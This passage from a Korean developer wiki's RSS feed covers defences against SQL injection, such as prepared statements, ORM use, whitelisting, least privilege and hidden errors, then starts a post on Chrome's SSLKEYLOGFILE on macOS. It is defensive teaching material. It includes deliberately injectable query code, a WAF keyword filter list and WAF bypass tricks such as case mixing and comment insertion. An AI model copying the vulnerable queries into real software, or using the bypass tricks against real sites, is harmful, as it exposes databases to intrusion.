class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&apos;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mysqli_query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;strong&gt;안전한 코드 (Prepared Statement)&lt;/strong&gt;&lt;/p&gt; &lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 파라미터 바인딩 -&amp;gt; SQL Injection 불가&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$stmt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;prepare&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;SELECT * FROM logindata WHERE id = ?&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$stmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;bind_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$stmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$stmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get_result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;다른 언어에서의 Prepared Statement 예시는 다음과 같다.&lt;/p&gt; &lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c1&quot;&gt;// Java (JDBC)&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;PreparedStatement&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stmt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;prepareStatement&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;SELECT * FROM logindata WHERE id = ?&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;setString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ResultSet&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;executeQuery&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c1&quot;&gt;# Python (MySQL Connector) &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cursor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;SELECT * FROM logindata WHERE id = %s&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,))&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;2-orm-object-relational-mapping-사용&quot;&gt;2. ORM (Object-Relational Mapping) 사용&lt;/h3&gt; &lt;p&gt;ORM은 SQL 쿼리를 직접 작성하지 않고, 객체 지향적으로 DB에 접근하는 방식이다. &lt;br /&gt; 대부분의 ORM 프레임워크는 내부적으로 Prepared Statement를 사용하므로, SQL Injection에 안전하다.&lt;/p&gt; &lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c1&quot;&gt;# Python (SQLAlchemy) &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;first&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;단, ORM에서도 Raw Query를 직접 작성하는 경우에는 SQL Injection에 취약할 수 있으므로 주의해야 한다.&lt;/p&gt; &lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c1&quot;&gt;# ORM에서도 Raw Query 사용 시 취약 &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;SELECT * FROM user WHERE id = &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input_id&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 취약! &lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Raw Query에서도 파라미터 바인딩 사용 &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;SELECT * FROM user WHERE id = :id&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 안전 &lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;3-입력값-검증-validation&quot;&gt;3. 입력값 검증 (Validation)&lt;/h3&gt; &lt;p&gt;사용자 입력값에 대해 &lt;strong&gt;화이트리스트&lt;/strong&gt; 기반으로 허용된 값만 통과시킨다. &lt;br /&gt; Prepared Statement와 함께 &lt;strong&gt;다중 방어(Defense in Depth)&lt;/strong&gt; 전략으로 병행해야 한다.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;숫자만 허용되는 필드는 숫자만 통과시킨다.&lt;/li&gt; &lt;li&gt;문자열 길이를 제한한다.&lt;/li&gt; &lt;li&gt;특수문자(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;;&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;)&lt;/code&gt; 등)를 필터링하거나 이스케이프 처리한다.&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 숫자만 허용&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;is_numeric&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user_number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;die&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;잘못된 입력입니다.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 화이트리스트 기반 검증 (ORDER BY 칼럼명 등 파라미터 바인딩이 불가능한 경우)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$allowed_columns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;name&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;email&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;phone&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;in_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$sort_column&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$allowed_columns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;die&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;잘못된 입력입니다.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;strong&gt;주의:&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ORDER BY&lt;/code&gt;, 테이블명, 칼럼명 등은 Prepared Statement로 파라미터 바인딩이 불가능하다. &lt;br /&gt; 이런 경우에는 반드시 화이트리스트 검증을 적용해야 한다.&lt;/p&gt; &lt;h3 id=&quot;4-최소-권한-원칙-least-privilege&quot;&gt;4. 최소 권한 원칙 (Least Privilege)&lt;/h3&gt; &lt;p&gt;DB 접속 계정에 &lt;strong&gt;애플리케이션에 필요한 최소한의 권한&lt;/strong&gt;만 부여한다. &lt;br /&gt; SQL Injection이 성공하더라도, 피해 범위를 최소화할 수 있다.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;웹 애플리케이션용 DB 계정에는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;INSERT&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UPDATE&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DELETE&lt;/code&gt; 권한만 부여한다.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DROP&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CREATE&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ALTER&lt;/code&gt; 등의 DDL 권한을 부여하지 않는다.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FILE&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LOAD_FILE()&lt;/code&gt; 등 파일 접근 권한을 부여하지 않는다.&lt;/li&gt; &lt;li&gt;MSSQL의 경우 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xp_cmdshell&lt;/code&gt; 등 OS 명령 실행 기능을 비활성화한다.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;information_schema&lt;/code&gt; 접근 권한을 제한한다.&lt;/li&gt; &lt;/ul&gt; &lt;h3 id=&quot;5-에러-메시지-숨기기&quot;&gt;5. 에러 메시지 숨기기&lt;/h3&gt; &lt;p&gt;Error Based SQL Injection은 &lt;strong&gt;에러 메시지가 화면에 출력되어야&lt;/strong&gt; 공격이 가능하다. &lt;br /&gt; 운영 환경에서는 DB 에러 메시지를 사용자에게 직접 노출하지 않도록 설정한다.&lt;/p&gt; &lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 취약: 에러 메시지가 그대로 출력됨&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mysqli_query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;die&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;mysqli_error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 안전: 에러 메시지를 숨기고, 내부 로그에만 기록&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mysqli_query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;error_log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;DB Error: &quot;&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mysqli_error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 서버 로그에만 기록&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;오류가 발생했습니다. 관리자에게 문의하세요.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class=&quot;language-ini highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;; php.ini - 운영 환경 설정 &lt;/span&gt;&lt;span class=&quot;py&quot;&gt;display_errors&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Off&lt;/span&gt; &lt;span class=&quot;py&quot;&gt;log_errors&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;On&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;6-waf-web-application-firewall&quot;&gt;6. WAF (Web Application Firewall)&lt;/h3&gt; &lt;p&gt;웹 방화벽을 통해 SQL Injection 패턴이 포함된 요청을 차단한다. &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UNION&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EXTRACTVALUE&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UPDATEXML&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SLEEP()&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BENCHMARK()&lt;/code&gt; 등의 키워드를 필터링한다.&lt;/p&gt; &lt;p&gt;단, WAF는 &lt;strong&gt;우회 기법이 존재&lt;/strong&gt;하므로, 단독 방어 수단이 아닌 &lt;strong&gt;보조적인 방어 수단&lt;/strong&gt;으로 활용해야 한다. &lt;br /&gt; WAF 우회 기법의 예시는 다음과 같다.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;대소문자 혼합: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeLeCt&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uNiOn&lt;/code&gt;&lt;/li&gt; &lt;li&gt;주석 삽입: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UN/**/ION&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SE/**/LECT&lt;/code&gt;&lt;/li&gt; &lt;li&gt;인코딩: URL 인코딩, 더블 인코딩&lt;/li&gt; &lt;li&gt;공백 대체: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%09&lt;/code&gt;(탭), &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%0a&lt;/code&gt;(개행), &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/**/&lt;/code&gt;(주석)&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;따라서, &lt;strong&gt;Prepared Statement가 근본적인 방어&lt;/strong&gt;이며, WAF는 추가적인 방어 계층으로 사용하는 것이 올바른 방어 전략이다.&lt;/p&gt; </description><pubDate>Tue, 10 Feb 2026 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/hacking/sqlinjection</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/hacking/sqlinjection</guid> <category>hacking</category> <category>webhack</category> <category>sqlinjection</category> <category>webhack</category> </item> <item><title>macOS에서 프로그램을 argument와 같이 실행시켜보자.</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#개요&quot;&gt;개요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#방법1---실패&quot;&gt;방법1 - 실패&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#방법2---성공&quot;&gt;방법2 - 성공&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#검색-대상에서-_argchromeapp-앱-제외&quot;&gt;검색 대상에서 _argChrome.app 앱 제외&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#번외-sslkeylogfile-환경변수-설정&quot;&gt;번외 (SSLKEYLOGFILE 환경변수 설정)&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h1 id=&quot;개요&quot;&gt;개요&lt;/h1&gt; &lt;p&gt;Windows에서는 Chrome에서 https, http2를 테스트하기 위해 환경변수에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSLKEYLOGFILE&lt;/code&gt;을 설정하고 